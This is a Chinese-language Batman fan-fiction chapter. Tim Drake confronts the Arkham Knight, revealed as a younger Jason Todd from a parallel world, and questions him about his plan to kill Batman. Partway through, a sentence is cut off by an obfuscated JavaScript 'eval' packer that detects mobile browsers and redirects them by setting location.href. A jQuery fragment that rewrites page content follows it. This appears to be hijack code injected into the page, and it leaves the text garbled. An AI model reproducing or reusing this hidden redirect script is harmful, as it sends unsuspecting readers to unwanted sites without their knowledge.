提姆站起来，下意识想找自己的家人们来看看这个炸裂信息。


    然而，蝙蝠洞空空荡荡。


    蝙蝠侠去瞭望塔了；迪克还要上班，早早地回布鲁德海文了；芭芭拉担心戈登局长，留在家里；杰森一向不留在家里……整个蝙蝠洞竟然只有他一个人。


    机械运转的白噪音和远处水滴落下的声音在此刻显得格外清晰，让提姆激动的心情瞬间冷却了下来。


    “克隆？魔法？伪装？平行宇宙？”提姆的脑子里闪过无数种可能性，却缺少定论。


    要告诉蝙蝠侠吗？


    提姆的手指悬在通讯按钮上方，犹豫了。


    提姆有些犹豫。


    如果……如果这个阿卡姆骑士，在生物学意义上真的与杰森有如此深的关联，那么他之前那些关于“世界末日”、“蝙蝠侠是灾厄源头”的疯狂言论，其背后的动机就需要重新评估。


    一个单纯的疯子的话可以置之不理，但是杰森的话，就必须被慎重对待。


    提姆皱起眉，陷入更深层的思索。


    假设，最坏的情况，这个骑士说的并非完全的臆想和偏执，而是基于某种他们尚未知晓既定未来呢？那就意味着蝙蝠侠可能真的会陷入某种连他自己都未曾察觉的巨大危险。


    那么，蝙蝠侠会因此避开危险吗？


    哈，他在做什么梦呢？


    提姆几乎能想象出布鲁斯听到这个假设时的反应——那双钢蓝色的眼睛里只会闪过一丝更坚定的光芒，然后他会更加义无反顾地冲向危险的中心，去弄清楚真相，去承担他认为是自己责任的一切。告诉他，不仅不会让他避开，反而会像在斗牛面前挥舞红布。


    提姆深吸一口气，做出了决定。他快速操作起来，将这份分析报告加密，标记为“待核实”。


    他需要更多的信息，更直接的证据。


    他得去接触一下这个骑士，在不引起全面冲突的情况下，想办法搞清楚到底发生了什么事。那个骑士……那个无论是什么的“杰森·陶德”，他到底看到了什么，经历了什么，才会让他认为杀死布鲁斯·韦恩是拯救世界的唯一途径？


    这个决定很冒险。


    骑士很危险，但相反的是，他对他们可能没有多少敌意。


    提姆相信自己的侦查能力，给他一个机会，他一定能找到真相。


    蝙蝠侠的安危就由提摩西·德雷克来守护！


    莫名燃起来的提姆开始搜索“瑞秋·格雷”这个名字——这是骑士在黑面具那里用的假名，显然黑面具没有什么保密的意思。


    出乎提姆的意料，瑞秋·格雷的信息不难找——他在韦恩酒店留下了入住记录，并且记录显示房间仍在续费中。


    这是明确的线索，明确的有点像陷阱。


    但值得一试。


    没有通知任何人，提姆独自潜入了酒店。


    室内一片死寂。


    热成像扫描确认，除了他自己，没有任何活物散发的热量。他打开扫描仪，开始对尘埃和生物痕迹进行扫描功能，仔细搜索整个房间。


    一无所获。


    一切都太干净了。


    床铺整洁得没有一丝褶皱，桌面光洁如新，浴室没有水渍，甚至连空气滤芯里都找不到任何属于居住者的皮屑或毛发。


    提姆没有放弃，他蹲下身，检查床底地面的灰尘分布，试图判断这里是否曾放置过隐藏的箱子或武器。就在他全神贯注于地面那几乎难以辨别的痕迹时——


    一个冰冷、坚硬的圆形物体，毫无预兆地抵在了他的后脑勺上。


    提姆全身的肌肉瞬间绷紧，动作完全停滞。


    “你应该更小心一点，小知更鸟，”一个经过变声器处理的声音在他身后响起，带着电流杂音却依旧能听出熟悉底色，“或者在进别人房间之前敲敲门。”


    是阿卡姆骑士。


    但是……他怎么躲过红热监测的？


    提姆立刻缓缓举起双手，示意自己没有敌意，声音尽量保持平稳：“我是来找你谈谈的。”


    阿卡姆骑士似乎嗤笑了一声：“哦？谈什么？帮我杀死蝙蝠侠？”枪口又往前顶了顶。


    提姆强迫自己忽略后脑勺的压迫感，继续说道：“我总得知道为什么吧。就像你说的，你不恨蝙蝠侠，为什么要杀死他？”他大脑飞速运转，思考着脱身或者怎么让对话继续下去。


    骑士的声音冷了下去：“你们不是听到了？因为他会变成一个疯子。”


    “为什么？总有原因吧。”提姆追问，不肯放过任何一丝获取信息的机会，“如果你真的了解蝙蝠侠，那你就该知道蝙蝠侠的意志是不可动摇的。”


    骑士沉默了，似乎在权衡，又像是在压抑着什么。


    提姆趁着他沉默的间隙，稍微动了动因为长时间蹲伏而发麻的腿，用一种带着点抱怨的真实口吻说：“那个……我能站起来说话吗？我的腰很累，膝盖也很痛。”这半是事实，半是策略，试图让气氛变得和缓一点。


    骑士的声音带着毫不掩饰的冷漠：“我为什么要在乎你的感受？”


    提姆深吸一口气，试探着说出了那个猜测：“因为你是我们的兄弟？”


    “哼。”


    一声轻笑，抵在后脑的枪口停顿了几秒，然后，压力消失了。


    一只戴着战术手套的手伸了过来，算不上温柔，但也没有用蛮力，抓住提姆的后脖颈，将他从地上拎了起来。


    提姆转过身，终于近距离地对上了阿卡姆骑士。


    骑士还是戴着他那个全包裹的头盔，将他的表情遮挡的严严实实，手中拿着的那么把造型奇怪的白枪。


    “杰森？”提姆犹豫了片刻，取下了自己的多米诺面具。


    “胆子很大，小鸟。”骑士的声音有了一点意外。


    “从罗宾出道起，我就开始关注罗宾了。我相信自己的判断。”提姆直视骑士，认真道，“该你了，公平一点。”


    “哼~”骑士笑出声，然后伸手，取下了自己的头盔。属于杰森·陶德那张尚且稚嫩的脸出现在了提姆面前。


    他挑挑眉，像个街头小混混一样对提姆吹了声口哨：“你好呀，小少爷。”


    提姆看着眼前这张脸——毫无疑问是杰森·陶德，比他记忆中的——或者说比现在正在哥谭某个角落行侠仗义的杰森要更年轻一些，眉眼精致，皮肤上也没有留下任何痕迹，和他自己比起来，骑士才更像一个养尊处优的小少爷。


    只有他的眼睛，看起来空洞又疲惫。


    “杰森……”提姆喃喃自语，两只眼睛睁圆了，仿佛看到了什么不可理解的现象，“真的是你？但是……怎么可能……”


    “怎么会想杀了老家伙？”杰森——或者说，这个以杰森面貌出现的阿卡姆骑士——接过了话头，他随手将那个造型奇特的白色手枪插回腿侧的枪套，“还是说，我怎么会是杰森·陶德？”


    “我都想知道。”提姆老实承认，他紧紧盯着对方，不放过任何一丝细微的表情变化，“你和红头罩是什么关系？是魔法让你变成这样的吗？你为什么要叫自己阿卡姆骑士？那个蝙蝠侠会发疯是怎么回事？还有，你为什么能躲过热成像？”


    “你是什么提问机器吗，问题这么多。”骑士吐槽，将头盔扔到角落绿植后面，整个人懒洋洋地瘫在沙发上。


    提姆快步跟了上来，在他身边坐下：“所以你会告诉我吗？”


    “我为什么要告诉你？我们很熟吗？”骑士眼皮一翻，瞥了一眼提姆，“你这么闯进来，把我的布置全打乱了。”


    “所以，这是个陷阱？”提姆再次发出提问，“你想设计谁？蝙蝠侠吗？”


    “你可真吵啊，小知更鸟。”骑士叹了口气，“对，没错，这里是个陷阱，但不是为你们准备的。我也有敌人。”


    “所以，我们不是你的敌人。”提姆立刻抓住了重点，心里稍微松了口气。至少目前看来，这个杰森对他没有杀意。


    “暂时不是。”杰森给了他一个不算安慰的安慰，嘴角勾起一个略带痞气的弧度，眉毛一挑，“不过，如果你想试试的话，我也不介意把你加入清单。”


    “那就不必了。”提姆立刻拒绝，他敏锐地捕捉到“清单”这个词，追问道：“你的敌人都有谁？我是说，我们可以帮助你。如果目标一致的话。”


    杰森像是听到了什么有趣的事，低低地笑了起来，那双有些空洞的绿眼睛看过来


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16754699|183424||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ：“清单第一位就是布鲁斯韦恩，你要来帮忙吗？”


    提姆被噎了一下，但很快反驳：“你刚才说了，你在这里设陷阱不是为了我们，而是为了你的敌人。那些敌人，和布鲁斯……和蝙蝠侠会变成疯子这件事有关吗？”


    “你是不会闭嘴的，对吧？”骑士叹了口气，站起来，向门外走去。


    提姆眼疾手快，一般拽住骑士的胳膊：“你去哪？”


    “出去找饭吃。”骑士被小小的罗宾鸟拽的一趔趄，无语地看着提姆，“你已经毁掉了我的钓鱼计划，今天已经没有什么可以做的了。”


    提姆飞速抽过茶几上的平板电脑，塞到骑士手里，十分豪阔地说：“点餐吧！你点多少都行！韦恩买单。”


    “话又说回来，”骑士立刻又坐下了，拿起平板飞速勾画，“看在我们的情分上，和你聊聊也没什么。”


    提姆：……


    提姆无语地看着骑士的手指在屏幕上飞快滑动，几乎不加思索地勾选了大量高热量食物——巨型汉堡、整只烤鸡、堆成山的烤肉、大份的意大利面、整个的芝士蛋糕……几乎清空了菜单上所有的所有选项。


    提姆眼皮跳了跳，忍不住问道：“……这么多，你吃得完吗？”这分量够正义联盟全员聚餐了。


    “你以为我吃着不累吗？不吃不行。”骑士闻言叹了口气，用一种半真半假的语气说道，“毕竟，不用食物补足能量，就只能吃人了。”


    提姆瞳孔微缩，脸色一下变了：“……你认真的？”


    骑士看着他瞬间石化的表情，低低地笑了起来：“你猜？”


    提姆没有笑，他看着骑士，神色认真：“看在我付钱的份上，回答我的问题吧，杰森。我是真的想帮你。”


    “我只回答你三个问题。”骑士收起笑容，竖起三根手指，对提姆道：“这是三个问题你必须在侍者送餐前提出来。”


    时间有限，提姆的大脑飞速运转，他必须问出最关键、最能获取核心信息的问题。他深吸一口气，问出了第一个：


    “第一，你的本质是什么？”


    “现在才问这个吗？看来你也很鲁莽啊，提姆。不过这是个好问题，让我想想……”骑士笑了一下，沉思片刻道，“我很难说我现在是什么……我来自平行世界，是一个杰森·陶德最终的未来。”


    提姆有些不满意，他皱眉想了想，想起杰森关于能量补充的那些发言，追问道：“你还是普世意义上的人类吗？”


    “我不知道。”骑士道，然后不等提姆追问，摆摆手打断道，“下一个问题。”


    提姆的问题被堵了回来，但现在是卖方市场，没办法，提姆提出了第二个问题：“你相信蝙蝠侠发疯会导致世界末日，为什么选择杀死蝙蝠侠？我是说，为什么不帮助蝙蝠侠避开危险？”


    这个问题让骑士陷入了短暂的沉默，他叹了口气：“你可真厉害啊，小红鸟……好吧，我的回答是，因为其他办法我做不到。


    我无法确定自己能干掉让蝙蝠侠疯狂的罪魁祸首，也无法确定避开这一次危险，下一次危险就不会到来……提姆，这个世界不会善待你们。”


    “我们不一直都是这样走过来的吗？”提姆反倒笑了起来，他安慰骑士，“我们总能熬过去的。”


    骑士看着提姆，不置可否：“第三个问题。”


    骑士的态度让提姆有些不祥的预感，但现在不是细想的时候，他想了想，问道：“你说你不是这个世界的人，那么你是怎么惹上敌人的？我想你说的敌人应该不是黑面具他们。”


    “我不知道。”骑士摊手，“我只能确定丧钟是其中之一。我不知道丧钟把我出卖给了谁，但我想他们很快回来找我……事实上，我在这里也是为了找出敌人。”


    “你可以跟我们住一起。”提姆积极地发出了邀请，“没有比蝙蝠洞更安全的地方，我们可以一起解决这件事。”


    “我不能和你们在一起。”骑士站起来，打开门，将提姆推到门口，“夜间服务结束，你该走了。”


    “为什么？”提姆不死心，扒着房门不肯离开。


    “因为我得是个坏人。”骑士说着，将提姆扔出了门，“别忘了结账，少爷。”